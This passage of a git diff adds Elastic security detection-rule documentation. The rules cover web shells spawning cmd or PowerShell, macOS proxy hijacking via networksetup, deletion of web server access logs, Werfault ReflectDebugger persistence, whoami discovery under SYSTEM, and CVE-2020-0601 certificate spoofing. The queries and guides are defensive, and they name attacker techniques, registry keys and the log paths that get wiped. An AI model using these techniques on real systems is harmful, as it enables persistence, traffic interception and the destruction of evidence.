or admin credentials if secrets may be exposed. +- After containment, patch the implicated app, extension, framework, or server component; review the internet-exposed site/service that launched the child; retain endpoint, network, and web logs; document script-only variants or logging gaps. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and event.type:start and process.args : * and + process.parent.name:("w3wp.exe" or "httpd.exe" or "nginx.exe" or "php.exe" or "php-cgi.exe" or "tomcat.exe" or "ArcSOC.exe") and + ( + process.name : ("cmd.exe" or "cscript.exe" or "powershell.exe" or "pwsh.exe" or "powershell_ise.exe" or "wmic.exe" or "wscript.exe") or + process.name.caseless : ("cmd.exe" or "cscript.exe" or "powershell.exe" or "pwsh.exe" or "powershell_ise.exe" or "wmic.exe" or "wscript.exe") + ) and + not + ( + process.command_line : ( + "cmd.exe /c mode CON" or + "cmd.exe /s /c \"mode CON\"" or + "cmd.exe /c \"mode\"" or + "cmd.exe /s /c \"tput colors 2>&1\"" or + "cmd.exe /s /c \"stty 2> NUL\"" or + "cmd.exe /s /c \"stty 2>&1\"" or + "cmd.exe /c \"stty 2>&1\"" or + "cmd.exe /s /c \"ipconfig /all 2>&1\"" or + "cmd.exe /s /c \"echo '%os%'\"" or + *.\\install\\awk.exe* + ) or + process.args : (\(git or (*artisan* and *queue\:work*) or *rmdir* or "mode CON" or ver or ls or mode or dir) or + + (process.name:cmd.exe and process.parent.args : "c:\\\\xampp\\\\htdocs\\\\open-audit\\\\index.php") or + + (process.name:cmd.exe and process.args:("/V:ON" and "--header-html")) or + + (process.parent.args:"WebCession" and process.args:E\:\\Data\\CLM\\cession\\*.bat) or + + (process.parent.executable :"D:\\AiDKlinik\\php\\php-cgi.exe" and process.args:D\:\\AiDKlinik\\web*) or + + (process.parent.args :"E:/wamp64/bin/apache/apache2.4.62.1" and process.args:node*) or + + (process.parent.name:"php.exe" and process.name:"cmd.exe" and process.args:("/V:ON" and "/E:ON")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-webproxy-settings-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-webproxy-settings-modification.asciidoc new file mode 100644 index 0000000000..867aded82a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-webproxy-settings-modification.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-webproxy-settings-modification]] +=== WebProxy Settings Modification + +Identifies the use of the built-in networksetup command to configure webproxy settings. This may indicate an attempt to hijack web browser traffic for credential access via traffic sniffing or redirection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ +* https://objectivebythesea.com/v2/talks/OBTS_v2_Zohar.pdf + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating WebProxy Settings Modification* + + +Web proxy settings in macOS manage how web traffic is routed, often used to enhance security or manage network traffic. Adversaries may exploit these settings to redirect or intercept web traffic, potentially capturing sensitive data like credentials. The detection rule identifies suspicious use of the `networksetup` command to alter proxy settings, excluding known legitimate applications, thus highlighting potential unauthorized modifications indicative of malicious activity. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of the networksetup command with arguments like -setwebproxy, -setsecurewebproxy, or -setautoproxyurl, which indicate an attempt to modify web proxy settings. +- Check the parent process information to ensure it is not one of the known legitimate applications such as /Library/PrivilegedHelperTools/com.80pct.FreedomHelper or /Applications/Fiddler Everywhere.app/Contents/Resources/app/out/WebServer/Fiddler.WebUi. +- Investigate the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Examine recent network traffic logs for unusual patterns or connections that could suggest traffic redirection or interception. +- Look for any additional alerts or logs related to the same host or user that might indicate a broader pattern of suspicious activity. +- Assess the system for any signs of compromise or unauthorized access, such as unexpected user accounts or changes to system configurations. + + +*False positive analysis* + + +- Legitimate applications like FreedomHelper, Fiddler Everywhere, and xpcproxy may trigger the rule when they modify proxy settings. To prevent these from being flagged, ensure they are included in the exclusion list of known applications. +- Network management tools such as Proxyman and Incoggo might also be detected. Add these to the exclusion list to avoid unnecessary alerts. +- Regular system updates or configurations by IT administrators can sometimes involve proxy setting changes. Coordinate with IT to identify these activities and consider adding them to the exclusion criteria if they are routine and verified as safe. +- Automated scripts or maintenance tasks that adjust proxy settings for legitimate reasons should be reviewed and, if deemed non-threatening, excluded from detection to reduce false positives. +- Monitor for any new applications or processes that may need to be added to the exclusion list as part of ongoing security management to ensure the rule remains effective without generating excessive false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes related to the `networksetup` command that are not associated with known legitimate applications. +- Review and reset the web proxy settings on the affected device to their default or intended configuration to ensure no malicious redirection is in place. +- Conduct a thorough scan of the affected system using updated security tools to identify and remove any malware or unauthorized software that may have been installed. +- Analyze logs and network traffic to identify any data that may have been intercepted or exfiltrated, focusing on sensitive information such as credentials. +- Escalate the incident to the security operations team for further investigation and to determine if other systems may be affected. +- Implement enhanced monitoring and alerting for similar activities across the network to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and event.action == "exec" and + process.name == "networksetup" and process.args like~ ("-setwebproxy", "-setsecurewebproxy", "-setautoproxyurl") and + (process.parent.name like~ ("osascript", "bash", "sh", "zsh", "Terminal", "Python*") or (process.parent.code_signature.exists == false or process.parent.code_signature.trusted == false)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-webserver-access-logs-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-webserver-access-logs-deleted.asciidoc new file mode 100644 index 0000000000..cd8bb5c4ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-webserver-access-logs-deleted.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-34-webserver-access-logs-deleted]] +=== WebServer Access Logs Deleted + +Identifies the deletion of WebServer access logs. This may indicate an attempt to evade detection or destroy forensic evidence on a system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* winlogbeat-* +* logs-endpoint.events.* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating WebServer Access Logs Deleted* + + +Web server access logs are crucial for monitoring and analyzing web traffic, providing insights into user activity and potential security incidents. Adversaries may delete these logs to cover their tracks, hindering forensic investigations. The detection rule identifies log deletions across various operating systems by monitoring specific file paths, signaling potential attempts at evasion or evidence destruction. + + +*Possible investigation steps* + + +- Review the specific file path where the deletion event was detected to determine which web server's logs were affected, using the file.path field from the alert. +- Check for any recent access or modification events on the affected web server to identify potential unauthorized access or suspicious activity prior to the log deletion. +- Investigate user accounts and processes that had access to the deleted log files around the time of the deletion event to identify potential malicious actors or compromised accounts. +- Correlate the log deletion event with other security alerts or anomalies in the same timeframe to identify patterns or related incidents. +- Examine backup logs or alternative logging mechanisms, if available, to recover deleted information and assess the impact of the log deletion on forensic capabilities. + + +*False positive analysis* + + +- Routine log rotation or maintenance scripts may delete old web server logs. To handle this, identify and exclude these scheduled tasks from triggering alerts by specifying their execution times or associated process names. +- Automated backup processes that move or delete logs after archiving can trigger false positives. Exclude these processes by adding exceptions for the backup software or scripts used. +- Development or testing environments where logs are frequently cleared to reset the environment can cause alerts. Consider excluding these environments by specifying their IP addresses or hostnames. +- System administrators manually deleting logs as part of regular maintenance can be mistaken for malicious activity. Implement a policy to log and approve such actions, and exclude these approved activities from detection. +- Temporary log deletions during server migrations or upgrades might trigger alerts. Document these events and create temporary exceptions during the migration period. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of recent user activity and system changes to identify any unauthorized access or modifications that may have led to the log deletion. +- Restore the deleted web server access logs from backups, if available, to aid in further forensic analysis and investigation. +- Implement enhanced monitoring on the affected system to detect any further attempts at log deletion or other suspicious activities. +- Review and tighten access controls and permissions on log files to ensure only authorized personnel can modify or delete them. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Document the incident, including all actions taken, and update incident response plans to improve future detection and response capabilities. + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +file where event.type == "deletion" and + file.path : ("C:\\inetpub\\logs\\LogFiles\\*.log", + "/var/log/apache*/access.log", + "/etc/httpd/logs/access_log", + "/var/log/httpd/access_log", + "/var/www/*/logs/access.log") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-werfault-reflectdebugger-persistence.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-werfault-reflectdebugger-persistence.asciidoc new file mode 100644 index 0000000000..d68f02a5f1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-werfault-reflectdebugger-persistence.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-werfault-reflectdebugger-persistence]] +=== Werfault ReflectDebugger Persistence + +Identifies the registration of a Werfault Debugger. Attackers may abuse this mechanism to execute malicious payloads every time the utility is executed with the "-pr" parameter. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Werfault ReflectDebugger Persistence* + + +Werfault, the Windows Error Reporting service, can be manipulated by attackers to maintain persistence. By registering a ReflectDebugger, adversaries can execute malicious code whenever Werfault is triggered with specific parameters. The detection rule monitors registry changes in key paths associated with ReflectDebugger, alerting on unauthorized modifications indicative of potential abuse. + + +*Possible investigation steps* + + +- Review the registry change event details to identify the specific path modified, focusing on the paths listed in the query: "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger", "\REGISTRY\MACHINE\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger", or "MACHINE\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger". +- Check the timestamp of the registry change event to determine when the modification occurred and correlate it with other suspicious activities or events on the system around the same time. +- Investigate the user account or process responsible for the registry change to assess whether it is a legitimate action or potentially malicious. Look for unusual or unauthorized accounts making the change. +- Examine the system for any recent executions of Werfault with the "-pr" parameter, as this could indicate attempts to trigger the malicious payload. +- Search for any related alerts or logs from data sources such as Elastic Endgame, Elastic Defend, Microsoft Defender XDR, SentinelOne, or Sysmon that might provide additional context or corroborate the suspicious activity. +- Assess the system for any signs of compromise or persistence mechanisms, such as unexpected startup items, scheduled tasks, or other registry modifications that could indicate a broader attack. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify the ReflectDebugger registry key as part of their error reporting configuration. Users can create exceptions for known software vendors by verifying the digital signature of the executable associated with the change. +- System administrators may intentionally configure the ReflectDebugger for debugging purposes. Document and whitelist these changes in the security monitoring system to prevent unnecessary alerts. +- Automated system maintenance tools might interact with the ReflectDebugger registry key. Identify and exclude these tools by correlating the registry changes with scheduled maintenance activities. +- Security software or endpoint protection solutions may alter the ReflectDebugger settings as part of their protective measures. Confirm these changes with the security vendor and add them to the exclusion list if deemed safe. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of malicious code via the Werfault ReflectDebugger. +- Terminate any suspicious processes associated with Werfault that are running with the "-pr" parameter to halt potential malicious activity. +- Remove unauthorized entries from the registry path "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger" to eliminate persistence mechanisms. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection tools to identify and remove any additional malware or malicious artifacts. +- Review and restore any system or application configurations that may have been altered by the attacker to their original state. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for registry changes in the specified paths to detect and respond to similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "ReflectDebugger" + + /* + Full registry key path omitted due to data source variations: + HKLM\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Hangs\\ReflectDebugger + */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Image File Execution Options Injection +** ID: T1546.012 +** Reference URL: https://attack.mitre.org/techniques/T1546/012/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-whoami-process-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-whoami-process-activity.asciidoc new file mode 100644 index 0000000000..1c97b324f4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-whoami-process-activity.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-whoami-process-activity]] +=== Whoami Process Activity + +Identifies suspicious use of whoami.exe which displays user, group, and privileges information for the user who is currently logged on to the local system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 221 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Whoami Process Activity* + + +After successfully compromising an environment, attackers may try to gain situational awareness to plan their next steps. This can happen by running commands to enumerate network resources, users, connections, files, and installed security software. + +This rule looks for the execution of the `whoami` utility. Attackers commonly use this utility to measure their current privileges, discover the current user, determine if a privilege escalation was successful, etc. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Related rules* + + +- Account Discovery Command via SYSTEM Account - 2856446a-34e6-435b-9fb5-f8f040bfa7ed + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name : "whoami.exe" and +( + ( + /* scoped for whoami execution under system privileges */ + ( + ( + user.domain : ("NT *", "* NT", "IIS APPPOOL") and + user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20", "S-1-5-82-*") and + not ?winlog.event_data.SubjectUserName : "*$" and + + /* Sysmon will always populate user.id as S-1-5-18, leading to FPs */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) or + (?process.Ext.token.integrity_level_name : "System" or ?winlog.event_data.IntegrityLevel : "System") + ) and + not ( + process.parent.name : "cmd.exe" and + ?process.parent.args : ( + "chcp 437>nul 2>&1 & C:\\WINDOWS\\System32\\whoami.exe /groups", + "chcp 437>nul 2>&1 & %systemroot%\\system32\\whoami /user", + "C:\\WINDOWS\\System32\\whoami.exe /groups", + "*WINDOWS\\system32\\config\\systemprofile*" + ) + ) and + not (process.parent.executable : "C:\\Windows\\system32\\inetsrv\\appcmd.exe" and ?process.parent.args : "LIST") and + not process.parent.executable : ( + "C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\MonitoringHost.exe", + "C:\\Program Files\\Cohesity\\cohesity_windows_agent_service.exe" + ) + ) or + process.parent.name : ("wsmprovhost.exe", "w3wp.exe", "wmiprvse.exe", "rundll32.exe", "regsvr32.exe") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-cryptoapi-spoofing-vulnerability-cve-2020-0601-curveball.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-cryptoapi-spoofing-vulnerability-cve-2020-0601-curveball.asciidoc new file mode 100644 index 0000000000..e4e2618669 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-windows-cryptoapi-spoofing-vulnerability-cve-2020-0601-curveball.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-windows-cryptoapi-spoofing-vulnerability-cve-2020-0601-curveball]] +=== Windows CryptoAPI Spoofing Vulnerability (CVE-2020-0601 - CurveBall) + +A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.forwarded* +* logs-system.security* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Use Case: Vulnerability +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Vulnerability Exploit +* Rule Type: Custom Query (KQL) +* Platform: Windows +* Vuln: CVE-2020-0601 + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Windows CryptoAPI Spoofing Vulnerability (CVE-2020-0601 - CurveBall)* + + +The Windows CryptoAPI is crucial for validating ECC certificates, ensuring secure communications and software authenticity. CVE-2020-0601, known as CurveBall, exposes a flaw where attackers can craft fake certificates, misleading systems into trusting malicious software. The detection rule identifies exploitation attempts by monitoring specific event logs and messages linked to this vulnerability, focusing on defense evasion tactics. + + +*Possible investigation steps* + + +- Review the event logs filtered by event.provider:"Microsoft-Windows-Audit-CVE" and message:"[CVE-2020-0601]" to identify the specific instances of the vulnerability being triggered. +- Analyze the host.os.type:windows field to determine which Windows systems are affected and prioritize them based on their criticality and exposure. +- Examine the details of the spoofed certificates involved in the alert to understand the scope and potential impact of the attack. +- Investigate any associated processes or executables that were signed with the spoofed certificates to assess if malicious software was executed. +- Check for any recent changes or updates to Crypt32.dll on the affected systems to ensure they are patched against CVE-2020-0601. +- Correlate the findings with other security events or alerts to identify any patterns or additional indicators of compromise related to defense evasion tactics. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger alerts if they use ECC certificates similar to those exploited in the vulnerability. Users can create exceptions for known trusted software vendors to reduce noise. +- Internal testing environments that simulate certificate validation processes might generate false positives. Exclude these environments from monitoring or adjust the rule to ignore specific test-related events. +- Security tools or scripts that perform certificate validation checks could inadvertently match the detection criteria. Identify and whitelist these tools to prevent unnecessary alerts. +- Regular system maintenance activities involving certificate updates might be flagged. Schedule these activities during known maintenance windows and temporarily adjust monitoring rules to avoid false positives. + + +*Response and 